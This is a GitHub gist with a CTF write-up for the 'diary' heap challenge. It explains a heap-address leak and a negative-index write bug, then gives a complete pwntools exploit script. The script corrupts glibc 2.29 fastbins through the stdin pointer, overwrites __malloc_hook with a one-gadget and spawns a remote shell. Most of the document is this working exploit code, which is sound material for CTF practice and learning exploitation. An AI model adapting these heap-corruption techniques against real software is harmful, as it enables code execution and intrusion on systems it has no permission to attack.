Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active November 17, 2020 00:04
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save farazsth98/ec8ea2869d1e76ea4a7a3cc96fe328ff to your computer and use it in GitHub Desktop.
Save farazsth98/ec8ea2869d1e76ea4a7a3cc96fe328ff to your computer and use it in GitHub Desktop.

Functionality

At the beginning, the binary lets you enter 0x20 bytes for your name. This is stored in the bss section, and it is not null terminated. After this, you get the following menu options:

  1. Show Name - Shows you your name
  2. Write Diary - Lets you allocate a page of max 0x80 size. The first four bytes of this page chunk stores the size you choose, and then the rest is the content you enter. calloc is used to allocate this chunk. This chunk's pointer is stored in an array immediately after your name in the bss section (meaning the name can be aligned to it and you can leak it using option 1). You can have a max of 14 pages.
  3. Read Diary - Lets you pick a page index, and the corresponding page contents is output to you (using puts).
  4. Edit Diary - Lets you pick a page index to edit. It will use the size stored in the first 4 bytes of the page chunk to determine how many bytes you can edit. The page index you enter is signed, so there is a bug here (you can enter negative index). You can only edit once.
  5. Tear out page - Lets you free a page from the pages array, but does not NULL the pointer out, so your max limit for pages is still 14.

Exploit pathway TL;DR

Basically the two bugs are:

  1. The name you enter is aligned with the pages array, so if you enter 0x20 bytes for the name and then allocate a chunk, the first menu option will show you your name + the address of the first page since they are aligned.
  2. Index can be signed in the Edit Diary option. Since this index is used to pick the page out of the pages array in the bss section, you can use a negative index (the upper bound for the index is checked to be less than 14).

Right before the pages array in the bss section, you have three possible pointers:

  1. At bss_base + 8 (at index -11), you have a pointer that points to itself. If you edit on this pointer, you can overwrite the bss section, but this is not useful without a libc leak because of the other two pointers, which are...
  2. The stdout pointer exists at index -8. You can overwrite the stdout struct in libc. The intended solution uses this method to partial overwrite the vtable pointer of stdout so that whenever puts is called, it uses _IO_UNDERFLOW and READ instead of _IO_OVERFLOW and WRITE, which lets you corrupt chunks on the heap. I did not use this method though.
  3. The stdin pointer exists at index -6. The binary uses only read to read input, so this struct isn't used at all, meaning you can overwrite it with anything. Past the stdin struct in libc exists __malloc_hook and main_arena. This is the method I used.

The exploit is really hard to explain imo, so below is a TL;DR and a commented exploit script. Hopefully that is good enough. Please use GDB and pause at each part of the script to see how everything works if you're confused.

  1. Leak a heap address from the name using the first bug.
  2. Set up the heap carefully with some magic so that you can later set up fastbin[0x80] to look like it has more than 7 chunks in it.
  3. Fill up the 0x80 tcache bin
  4. Use the negative index bug in edit diary to overwrite past stdin into main arena. Set up the fastbins so that u can get libc leak + shell later
  5. Free a 0x80 chunk into unsorted bin, then overlap a 0x20 fake fastbin chunk on it to get libc leak
  6. Use the carefully set up heap to put malloc hook - 0x20 into the front of fastbin[0x80]
  7. Overwrite malloc hook with one gadget, allocate for shell
#!/usr/bin/env python3

from pwn import *

elf = ELF("./diary")
libc = ELF("./libc-2.29.so")

#p = process("./diary", env={"LD_PRELOAD": "./libc-2.29.so"})
p = remote("diary.balsnctf.com", 10101)

#gdb.attach(p)

def show_name():
    p.recv()
    p.sendline("1")

def write_diary(length, content):
    p.recv()
    p.sendline("2")

    p.recv()
    if (len(str(length)) != 3):
        p.sendline(str(length))
    else:
        p.send(str(length))

    p.recv()
    p.send(content)

def read_diary(idx):
    p.recv()
    p.sendline("3")

    p.recv()
    p.sendline(str(idx))

def edit_diary(idx, content):
    p.recv()
    p.sendline("4")

    p.recv()
    p.sendline(str(idx))

    p.recv()
    p.send(content)

def tear_page(idx):
    p.recv()
    p.sendline("5")

    p.recv()
    p.sendline(str(idx))

'''
Bug 1 - Name in the global struct is aligned with the first chunk ptr.
        Just allocate something then show the name for heap ptr leak
        
Bug 2 - In edit diary, you can supply negative index. This lets you
        overwrite stdout, stdin, and the bss section itself. Intended
        solution seems to be to use stdout, but I used stdin (see below)
'''
    
# Heap leak due to `puts()` call in show name, name is aligned with heap ptr
p.recv()
p.send("A"*0x20)
write_diary(0x80, p32(0) + p64(0x31)*15) # 0
show_name()

p.recvuntil("choice : ")
p.recv(0x20)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))

log.info("Heap leak: " + hex(heap_leak))

# Take up indices 1-7
# Put a bunch of fake chunk headers in here that we can fastbin dup to later
payload = p32(0) + p64(0x23)
payload += (p64(heap_leak+0xc0) + p64(0x23)) * 7
payload += p32(0)
write_diary(0x80, payload)

# Set up fake chunks, set fd ptrs to other chunks
# This is required at the end where we have to allocate twice out of the
# fastbin to get to malloc hook. Fastbin chunks are moved to tcache if the
# corresponding tcache bin is empty, so we have to fill the fastbin up until
# The very last chunk's fd points to malloc hook - 0x20
# Later when the chunks are moved to the tcache bin, the tcache bin will be
# full and only malloc hook will be left in the fastbin for us
# Its a little tough to understand but just debug yourself and u will see
payload = p32(0) + p64(0x31)
payload += (p64(heap_leak+0x140) + p64(0x51))
payload += (p64(heap_leak+0x150) + p64(0x81))
payload += (p64(heap_leak+0x160) + p64(0x51))
payload += (p64(heap_leak+0x170) + p64(0x81))
payload += (p64(heap_leak+0x180) + p64(0x51))
payload += (p64(heap_leak+0x1c0) + p64(0x81))
payload += p32(0)
write_diary(0x80, payload)

# heap_leak+0x240+0x30 will point to a fake chunk whose fd == malloc_hook-0x20
payload = p32(0) + p64(0x51)
payload += (p64(heap_leak+0x1d0) + p64(0x51))
payload += (p64(heap_leak+0x1e0) + p64(0x81))
payload += (p64(heap_leak+0x1f0) + p64(0x51))
payload += (p64(heap_leak+0x200) + p64(0x81))
payload += (p64(heap_leak+0x210) + p64(0x51))
payload += (p64(heap_leak+0x240+0x30) + p64(0x81)) # this
payload += p32(0)
write_diary(0x80, payload)

# Just chunks to fill up the tcache bin for 0x80
payload = p32(0) + p64(0x51)
payload += (p64(0) + p64(0x51))
payload += (p64(0) + p64(0x81))
payload += (p64(0) + p64(0x51))
payload += (p64(0) + p64(0x81))
payload += (p64(0) + p64(0x51))
payload += (p64(0) + p64(0x81))
payload += p32(0)
for i in range(4):
    write_diary(0x80, payload)

# Free all the chunks except #1
tear_page(0)

for i in range(2, 8):
    tear_page(i)

# stdin ptr at idx -6, there is malloc hook and main arena after it
# We set up the fastbins, this is too hard to explain lol
# if you really want to understand it, just debug it in gdb urself pls
payload = p32(0) + p64(0)
payload += p64(0)*65 + p64(0x81) # Write up to malloc hook - 0x20 and put fake chunk header here
payload += p64(0)*6 # Write up to fast bins
payload += p64(heap_leak+0xe0) # 0x20 fastbin
payload += p64(heap_leak+0x130) # 0x30 fastbin
payload += p64(heap_leak+0xd0) # 0x40 fastbin
payload += p64(heap_leak+0x240+0x10) # 0x50 fastbin
payload += p64(0) # 0x60 fastbin
payload += p64(0) # 0x70 fastbin
payload += p64(heap_leak + 0x240 + 0x20) # 0x80 fastbin

edit_diary(-6, payload)

# Get libc address on heap by freeing #1 into unsorted bin
tear_page(1)

# Move unsorted bin ptr down into the fastbin[0x20]-0x20
# Create fake chunk header above it so we can fastbin dup to it
# Use 0x23 for header size so IS_MMAP bit is on, calloc will not zero out the
# chunk
payload = p32(0) + p64(0x23)
payload += (p64(0) + p64(0x43))*4
payload += p64(0) + p64(0x23)
payload += p32(0)
write_diary(0x60, payload) # 8

# Fastbin dup (0x20 fastbin from above points to right above unsorted bin ptr)
# we fill up until the pointer itself and read it to get leak
write_diary(0x10, "A"*11 + "\n") # 9

read_diary(9)

p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x1e4ca0
malloc_hook = libc.sym["__malloc_hook"]

log.info("Libc base: " + hex(libc.address))

# fastbin[0x40] points to some fake 0x51 chunk header
# we get a fake chunk there and overwrite a fake 0x81 chunk's fd with our
# fake fastbin chunks that are supposed to make fastbin[0x80] look full
write_diary(0x40, p32(0) + p64(0x81) + p64(heap_leak+0x130) + p64(0) + p64(malloc_hook-0x20)) # 10

# Allocate out of 0x80 fastbin, all chunks are moved to tcache until the
# tcache is full. We calculate the number of chunks carefully so now after this
# allocation, malloc_hook is at the head of fastbin[0x80]
write_diary(0x70, "A\n") # 11

# Overwrite malloc hook with one gadget
write_diary(0x70, b"A"*12 + p64(libc.address + 0x106ef8)) # 13

# One more allocation for shell
p.recv()
p.sendline("2")
p.recv()
p.sendline("5")

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment